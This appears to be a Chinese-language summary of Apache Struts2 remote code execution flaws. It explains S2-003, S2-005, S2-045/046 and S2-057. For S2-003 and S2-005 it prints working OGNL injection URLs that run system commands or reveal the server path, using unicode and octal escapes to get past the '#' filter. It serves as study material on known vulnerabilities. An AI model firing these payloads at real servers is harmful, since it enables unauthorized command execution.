介绍:Struts2是一个基于MVC设计模式的Web应用框架, 它本质上相当于一个servlet,在MVC设计模式中, Struts2作为控制器(Controller)来建立模型与视图的数据交互。
Struts2 RCE总结:
{i}S2-003漏洞:XWork ParameterInterceptors旁路允许执行OGNL语句,OGNL除其他功能外,还提供了广泛的表达式评估功能。该漏洞允许恶意用户绕过ParametersInterceptor内置的【#】使用保护,从而能够操纵服务器端上下文对象。
payload:
http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u002 3myout.getWriter().println(\u0023mystr)')(bla))
{ii}S2-005漏洞:S2-005是由于官方在修补S2-003 不全面导致绕过补丁造成的。我们都知 道访问Ognl的上下文对象必须要使用# 符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。
Payload:
('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET')(c))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
{iii}S2-045/S2-046漏洞:Struts2使用基于Jakarta的文件上传Multipart解析器,如果该Content-Type值无效,则会引发异常,然后将其用于向用户显示错误消息,并对异常信息进行OGNL表达式处理,可以构造恶意Content-Type值执行RCE攻击。S2-046与S2-045漏洞的引发原因一致,只是他们的利用位置不一样。
{iv}S2-057漏洞:该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,URL标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行。